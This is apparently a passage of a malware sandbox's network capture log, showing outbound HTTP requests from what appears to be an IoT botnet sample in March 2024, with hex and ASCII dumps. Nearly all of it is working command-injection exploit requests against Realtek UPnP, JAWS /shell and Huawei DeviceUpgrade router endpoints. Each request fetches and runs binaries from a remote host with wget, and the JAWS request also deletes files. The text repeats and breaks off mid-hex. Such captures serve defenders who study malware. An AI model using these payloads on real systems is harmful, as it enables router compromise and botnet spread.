67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.896003962 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:25.046623945 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      99192.168.2.1552456143.83.40.2295501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:51.014971972 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      100192.168.2.1555424138.137.8.2545501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:54.341654062 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      101192.168.2.1548012156.241.8.6937215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:54.343771935 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:55.961203098 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:57.881143093 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:01.849083900 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:09.528697014 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:24.888308048 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 